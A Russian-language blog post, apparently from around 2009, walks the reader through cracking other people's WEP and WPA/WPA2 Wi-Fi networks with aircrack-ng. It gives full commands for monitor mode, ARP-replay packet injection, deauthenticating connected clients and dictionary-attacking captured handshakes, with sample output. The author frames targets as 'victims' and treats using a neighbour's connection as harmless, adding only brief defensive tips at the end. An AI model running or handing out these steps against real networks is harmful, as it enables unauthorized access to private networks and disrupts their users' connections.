В общих чертах теорию и процесс атаки хорошо описал юзер n3m0 в своих статьях «Атаки на беспроводные сети», поэтому я не буду заострять внимание на многих теоретических моментах.
Я же хочу описать самые простейшие способы обхода защиты, но более подробно.
-1. Пара слов от себя
Хочу сказать, что я категорически против злоупотребления подобными действиями. Хоть в крупных городах сейчас в основном правит сэр «безлимитный интернет» (поэтому моя совесть тихо-мирно спит), но все-таки не стоит пакостить и злоупотреблять, тем более, что это может выйти боком, о чем я напишу ниже… В остальном же, я не вижу в этом ничего предосудительного, и считаю, что подобные действия равноценны тому, как погреться зимой у чужой батареи)))
Я не буду рассматривать всяческие нюансы и подводные камни, которые могут встретится на пути, те кто захочет — разберутся сами, остальные будут крепче ночью спать :)
Также хочу отметить, что я не «кул-хацкер» и вообще никак не связан с беспроводными сетями и защитой информации. Просто после покупки нетбука эта тема стала для меня актуальна и интересна, что и подтолкнуло меня с ней разобраться. Ну а теперь мне захотелось поделиться с хабра-публикой.
Это моя первая статья, так что сильно не бейте :))
Итак, поехали!
0. Запасаемся основным софтом
Существует множество программ для подобного рода действий, но мы будем использовать пакет Aircrack-ng, в котором уже есть все для нас необходимое. Программа эта разрабатывается под линукс, хотя есть версия и под винду, но как я понял, она не особо поддерживается и не особо работает)))
Cкачиваем и собираем последнюю доступную на данный момент версию rc3 (от 26.03.09):
wget http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz
tar -zxvf aircrack-ng-1.0-rc3.tar.gz
cd aircrack-ng-1.0-rc3
make
make install
UPD.
Если вы не хотите заморачиваться с исходниками, то существует возможность загрузить aircrack-ng из репозиториев вашего дистрибутива. Например в репозиториях Ubuntu 8.10 на данный момент доступна версия rc2, которую можно скачать и установить используя команду:
sudo apt-get install aircrack-ng
Хотя разработчики рекомендуют использовать последнюю версию, т.к. в ней исправлено множество ошибок и добавлено множество улучшений.1. Собираем информацию
Для начала нужно перевести нашу wi-fi карточку в режим «monitor mode»
В моём случае (c драйвером Madwifi-ng) это делается так:
sudo wlanconfig ath0 destroy
sudo wlanconfig ath0 create wlandev wifi0 wlanmode monitor
Теперь нам понадобится программа для мониторинга всех беспроводых сетей в радиусе действия нашего вай-фай адаптера. Лично мне нравится использовать Airodump-ng из скачанного нами ранее програмного пакета Aircrack-ng.
Запускаем airodump указывая обязательный параметр — имя интерфеса (в данном случае ath0) :
sudo airodump-ng ath0
Что мы видим? наша карточка переключается с канала на канал и отображает всю активность в пределах досягаемости. В верхней половине показаны обнаруженные точки доступа, в нижней обнаруженные клиенты (в данном случае обнаружены 3 клиента, ни один из которых никуда не подключен):
Это только с виду кажется что табличка выглядит непонятно, на самом деле все просто, вот основные значения которые нам интересны:
- BSSID — MAC адрес точки доступа
- PWR — уровень сигнала
- # Data — число пойманных пакетов с данными
- CH — номера канала на котором находится точка доступа
- MB — скорость передачи данных
- ENC — алгоритм шифрования
- CIPHER — тип шифрования
- AUTH — тип авторизации
- ESSID — название точки доступа
- STATION — MAC адрес клиента
- Probes — названия сетей с которыми пытался соединиться клиент
2. Выбираем жертву :D
Итак, что мы имеем? Чтобы действовать дальше, нам нужно выбрать нашу жертву...
Надо отметить, что очень важным критерием является уровень сигнала. Если сигнал ниже 5-10, то ничего хорошего от взаимодествий с этой сетью не выйдет...
Следующим шагом смотрим на алгоритм шифрования (ENC):
- OPN — сеть без шифрования… приятно конечно, но не интересно :)
- WEP — сеть с WEP шифрованием… на самом деле, именно такие сети представляют для нас наибольший интерес
- WPA/WPA2 — не поверите! сети с WPA/WPA2 шифрованием :)))
Как я написал выше, больше всего нас интересуют сети с WEP шифрованием, поэтому с них и начнем…
3. Привет WEP!
Я не буду описывать как справиться с SSID Cloaking, MAC Filtering и другими возможными препятствиями, достаточно почитать статьи n3m0 или документацию по aircrack, поэтому перейду сразу к делу.
Не вникая в тонкости, взлом wep сети сводится к сбору достаточного количества пакетов, поэтому можно просто сидеть и терпеливо ждать пока нужное количество наберется само, но если между точкой доступа и клиентом нет никакой активности, то мы можем просидеть так неделю… Поэтому нужные нам пакеты будут генерироваться не без нашей помощи :)
Итак приступим:
Далее идет пример взятый с сайта aircrack-ng.org. Взлому подвергается сеть с именем (essid) — teddy, MAC адресом (bssid) — 00:14:6C:7E:40:80, и «живущая» на 9-ом канале. Все эти данные находятся используя airodump (см. пункт 1 — «Собираем информацию»)
Запускаем airodump нацеленный на выбранную сеть, располагающуюся на 9-ом канале, с указанием адреса точки доступа, и имени файла в который будут записаны пойманные пакеты:
sudo airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0
Далее в новом терминале запускаем aireplay, чтобы подружиться с точкой доступа
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
где:
-e teddy — название сети
-a 00:14:6C:7E:40:80 — MAC точки доступа
-h 00:0F:B5:88:AC:82 — наш MAC
На выходе должны получить:
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)
Теперь можно начать создавать паразитный траффик, снова открываем новое окно:
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
В идеале на выходе должны получить примерно это:
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets...
Теперь переключаемся на окно в котором у нас запущен airodump и созерцаем бешено растущее (при должном уровне сигнала) количество пакетов. Обычно хватает 20 тысяч пакетов для нахождения 64-х битного ключа.
Когда нужное количество пакетов собрано, что показывает airodump в графе "# Data", запускаем
aircrack-ng -z output*.cap
UPD.
Пароль в большинстве случаев возвращается в шестнадцатиричном формате, т.к. большинство роутеров переводят пароль в HEX каждый по своему, поэтому перевести значения обратно в ASCII чаще всего не удается, хотя в некоторых случаях изначальный пароль пишется рядышком в скобочках.
Вот собственно и всё. Этот пароль можно смело вводить, только двоеточия убрать.
При благоприятных условиях абсолютно ничего сложного :)
Если пароль не нашелся, о чем aircrack нам сообщит, скорее всего нужно наловить еще пакетов, например 40 тысяч.
4. Неприступный WPA/WPA2
В этом случае все выглядит намного проще, но к конечному результату прийти намного сложнее.
Для начала, как обычно, запускаем airodump нацеленный на выбранную сеть…
В случае с WPA/WPA2 сбор пакетов не срабатывает, чтобы сдвинуться с места нам нужен клиент подключенный к сети, а если говорить еще точнее, нам надо застать момент подключения клиента к сети. Если клиента нету, то сидим и ждем...
Если клиент уже подключен, запускаем aireplay и обрываем его аутентификацию, тем самым заставляя его соединиться заново:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
где:
-a 00:14:6C:7E:40:80 — MAC точки доступа
-c 00:0F:B5:FD:FB:C2 — MAC клиента
И на выходе получаем:
11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]
В идеале мы должны получить т.н. handshake, о чем нас опять же уведомит airodump, отобразив в самой верхней строке справа сообщение «WPA handshake: 00:14:6C:7E:40:80».
Если этого не произошло, снова используем aireplay.
Когда handshake пойман, запускаем aircrack, но на этот раз с использованием словаря:
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 output*.cap
В данном случае результат напрямую зависит от наличия нужного пароля в нашем словаре, поэтому наши шансы прямо пропорциональны размеру и качеству нашего словаря...
Словари можно без проблем найти на просторах интернета, плюс в архиве aircrack-ng уже небольшой лежит :)
5. Пару слов про защиту
Несколько советов для тех кто категорически не хочет пускать посторонних к своей кормушке:
- не использовать WEP, и полностью переходить на WPA2 и более совершенные протоколы и надстройки над ними
- не использовать минимально допустимый пароль, чем длиннее тем лучше
- использовать уникальный пароль, заглавные и строчные буквы…
- никаких дат (например все даты формата ДДММГГГГ с 01.01.1950 по 01.01.2010 перебираются за минуту)
- использовать SSID Cloaking и MAC Filtering, хоть немножно, но поможет
6. Заключение
Вот вроде бы и все…
Это были самые простейшие способы обойти и усилить защиту, но даже они не всегда срабатывают.
Для тех кто хочет узнать больше, советую посетить сайт http://www.aircrack-ng.org/
В итоге мы узнали, что WEP самый благоприятный для взлома протокол. Мой личный рекорд — около 5-7 минут :)
Но это нисколько не значит, что надо очертя голову, бежать и переходить на WPA2… практика показывает что большинство людей не умеет даже устанавливать windows, чего уж тут говорить про взлом wi-fi :)))
Еще раз хочу сказать про злоупотребление. Если от этого вас не останавливает даже морально-этическая сторона вопроса, то имейте ввиду, что при некотором стечении обстоятельств, вы можете лишиться множества своих паролей (icq, контакт и т.п.)… это также относится к любителям пользоваться открытыми wi-fi сетями… Но об этом я напишу в следующей статье. Надеюсь было интересно :)